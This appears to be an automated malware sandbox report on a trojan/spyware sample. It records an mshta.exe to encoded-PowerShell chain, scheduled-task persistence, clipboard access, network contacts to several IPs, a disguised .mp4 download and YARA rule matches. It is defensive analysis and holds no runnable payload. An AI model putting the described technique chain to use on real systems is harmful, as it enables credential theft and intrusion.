Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 172.67.201.143:443 -> 192.168.11.20:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.201.143:443 -> 192.168.11.20:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.44.253:443 -> 192.168.11.20:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.44.253:443 -> 192.168.11.20:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.44.253:443 -> 192.168.11.20:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.44.253:443 -> 192.168.11.20:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.44.253:443 -> 192.168.11.20:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.44.253:443 -> 192.168.11.20:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.44.253:443 -> 192.168.11.20:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.44.253:443 -> 192.168.11.20:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.44.253:443 -> 192.168.11.20:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.44.253:443 -> 192.168.11.20:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.184.254:443 -> 192.168.11.20:49766 version: TLS 1.2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 7_2_00431020 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

7_2_00431020

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 7_2_00431020 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

7_2_00431020

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 7_2_0041A430 CreateDesktopW,

7_2_0041A430

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 7292, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 8068, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07A30DC0 NtResumeThread,		5_2_07A30DC0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07A30DB8 NtResumeThread,		5_2_07A30DB8

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07005622	5_2_07005622
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07005630	5_2_07005630
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_0700E328	5_2_0700E328
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07005348	5_2_07005348
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07005091	5_2_07005091
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_070050A0	5_2_070050A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07008ED8	5_2_07008ED8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07977410	5_2_07977410
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_079769C8	5_2_079769C8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07976118	5_2_07976118
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07977922	5_2_07977922
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07976128	5_2_07976128
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07970006	5_2_07970006
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07977402	5_2_07977402
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07970040	5_2_07970040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_079D8C58	5_2_079D8C58
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_079DB0C0	5_2_079DB0C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_079D8F3D	5_2_079D8F3D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_079D2D70	5_2_079D2D70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_079DB4AE	5_2_079DB4AE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_079D8C49	5_2_079D8C49
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_079D83B8	5_2_079D83B8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_079D83A8	5_2_079D83A8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_079DD198	5_2_079DD198
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_079DD188	5_2_079DD188
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_079F4280	5_2_079F4280
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_079F0040	5_2_079F0040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_079F45A7	5_2_079F45A7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_079F5488	5_2_079F5488
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_079F10C1	5_2_079F10C1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_079F0006	5_2_079F0006
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07A15740	5_2_07A15740
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07A15750	5_2_07A15750
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07A1DDA0	5_2_07A1DDA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07A1DDB0	5_2_07A1DDB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07A16BA3	5_2_07A16BA3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07A16A00	5_2_07A16A00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07A169F0	5_2_07A169F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07A1B900	5_2_07A1B900
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07A1B8F1	5_2_07A1B8F1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07A31D23	5_2_07A31D23
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07A31D30	5_2_07A31D30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_08640040	5_2_08640040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_08640024	5_2_08640024
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_08641A85	5_2_08641A85
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_0864E730	5_2_0864E730
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_09C3CB51	5_2_09C3CB51
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_09C3CB60	5_2_09C3CB60
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_09C38548	5_2_09C38548
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_09C38538	5_2_09C38538
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00420940	7_2_00420940
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_004259F0	7_2_004259F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00436980	7_2_00436980
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00415A0E	7_2_00415A0E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00415211	7_2_00415211
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00411B30	7_2_00411B30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00439BF0	7_2_00439BF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0041D400	7_2_0041D400
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00437420	7_2_00437420
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0041A430	7_2_0041A430
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_004104BE	7_2_004104BE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0041655D	7_2_0041655D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00439660	7_2_00439660
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0040AE20	7_2_0040AE20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0040CE98	7_2_0040CE98
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_004366B0	7_2_004366B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0040D76F	7_2_0040D76F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0042900A	7_2_0042900A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00408810	7_2_00408810
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00411028	7_2_00411028
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0043A030	7_2_0043A030
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0043C8DB	7_2_0043C8DB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00409080	7_2_00409080
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0040A930	7_2_0040A930
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00436130	7_2_00436130
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0040C93E	7_2_0040C93E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0042D1C4	7_2_0042D1C4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_004059D0	7_2_004059D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0043C9F0	7_2_0043C9F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00437180	7_2_00437180
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00403990	7_2_00403990
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0042324C	7_2_0042324C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00426A52	7_2_00426A52
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0041721A	7_2_0041721A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0042BA22	7_2_0042BA22
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_004062E0	7_2_004062E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_004192F0	7_2_004192F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0043E280	7_2_0043E280
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00425287	7_2_00425287
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00428A95	7_2_00428A95
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0041CAB0	7_2_0041CAB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00404340	7_2_00404340
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0041BB40	7_2_0041BB40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00435358	7_2_00435358
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0042AB00	7_2_0042AB00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0043CB20	7_2_0043CB20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0042BA1D	7_2_0042BA1D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_004233CA	7_2_004233CA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0042CBE3	7_2_0042CBE3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00417BFA	7_2_00417BFA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00437BA9	7_2_00437BA9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00402BB0	7_2_00402BB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0043CBB0	7_2_0043CBB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0041FC50	7_2_0041FC50
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00404C70	7_2_00404C70
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00430C20	7_2_00430C20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_004214C0	7_2_004214C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_004094D0	7_2_004094D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00414CF0	7_2_00414CF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00421CAB	7_2_00421CAB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00407550	7_2_00407550
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0042F550	7_2_0042F550
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0041E520	7_2_0041E520
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0043DD20	7_2_0043DD20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0041CD90	7_2_0041CD90
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00426D93	7_2_00426D93
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00416DA5	7_2_00416DA5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00425E40	7_2_00425E40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00424E40	7_2_00424E40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00423620	7_2_00423620
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00435ED0	7_2_00435ED0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0042AE96	7_2_0042AE96
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00417758	7_2_00417758
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00402F60	7_2_00402F60
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00406770	7_2_00406770
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0042577B	7_2_0042577B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00405F20	7_2_00405F20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0042B738	7_2_0042B738
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00423790	7_2_00423790
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_0043DFA0	7_2_0043DFA0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: String function: 004080E0 appears 49 times
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: String function: 004141A0 appears 64 times

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: Commandline size = 2518
Source: C:\Windows\SysWOW64\mshta.exe	Process created: Commandline size = 2518			Jump to behavior

Source: Process Memory Space: powershell.exe PID: 7292, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 8068, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 5.2.powershell.exe.76e0000.2.raw.unpack, ---.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 5.2.powershell.exe.76e0000.2.raw.unpack, ---.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 5.2.powershell.exe.7a50000.4.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 5.2.powershell.exe.7a50000.4.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 5.2.powershell.exe.7a50000.4.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'
Source: 5.2.powershell.exe.7a50000.4.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'

Source: 5.2.powershell.exe.7a50000.4.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 5.2.powershell.exe.7a50000.4.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 5.2.powershell.exe.7a50000.4.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 5.2.powershell.exe.7a50000.4.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.powershell.exe.7a50000.4.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 5.2.powershell.exe.7a50000.4.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)

Source: classification engine

Classification label: mal100.troj.spyw.evad.win@26/9@6/7

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 7_2_00436980 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

7_2_00436980

Source: C:\Windows\SysWOW64\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\7LE4YNMI\madonna[1].mp4

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3496:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6556:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4296:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3496:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\1\BaseNamedObjects\Jvmbkt
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6556:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4296:304:WilStaging_02

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ovmfxnhv.kwp.ps1

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

System information queried: HandleInformation

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: chrome.exe, 00000008.00000002.7125768794.0000584C00A1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT COUNT(metric_value) FROM metrics WHERE metrics.metric_hash = 'CE71BF280B4EB4B5' AND metrics.metric_value > 45;
Source: chrome.exe, 00000008.00000002.7121356447.0000584C00228000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7067266668.0000584C00228000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT IFNULL(SUM(metrics.metric_value), 0) FROM metrics WHERE metrics.metric_hash = '79964621D357AB88';\
Source: chrome.exe, 00000008.00000002.7121356447.0000584C00228000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7067266668.0000584C00228000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT IFNULL(SUM(metrics.metric_value), 0) FROM metrics WHERE metrics.metric_hash = '756F6A466879157E';
Source: chrome.exe, 00000008.00000002.7121118063.0000584C00180000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130788136.0000584C011F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130365110.0000584C01188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT COUNT(DISTINCT CAST((event_timestamp / 1000000 / 60 / 10) AS int)) FROM metrics WHERE metrics.metric_hash = 'AD411B741D0DA012' AND metrics.metric_value > 0;
Source: chrome.exe, 00000008.00000002.7124865547.0000584C008FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: chrome.exe, 00000008.00000002.7121356447.0000584C00228000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7067266668.0000584C00228000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT IFNULL(SUM(metrics.metric_value), 0) FROM metrics WHERE metrics.metric_hash = '19E16122849E343B';0\
Source: chrome.exe, 00000008.00000002.7121356447.0000584C00228000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7067266668.0000584C00228000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT COUNT(metric_value) FROM metrics WHERE metrics.metric_hash = 'CE71BF280B4EB4B5' AND metrics.metric_value > 120;
Source: chrome.exe, 00000008.00000002.7121118063.0000584C00180000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130788136.0000584C011F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000002.7130365110.0000584C01188000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT COUNT(DISTINCT CAST((event_timestamp / 1000000 / 60 / 10) AS int)) FROM metrics WHERE metrics.metric_hash = 'B4CFE8741404B691' AND metrics.metric_value > 0;
Source: chrome.exe, 00000008.00000002.7121356447.0000584C00228000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000008.00000003.7067266668.0000584C00228000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT IFNULL(SUM(metrics.metric_value), 0) FROM metrics WHERE metrics.metric_hash = '19E16122849E343B';
Source: chrome.exe, 00000008.00000002.7131767925.0000584C01340000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT COUNT(id) FROM metrics WHERE metrics.metric_hash = '64BD7CCE5A95BF00';
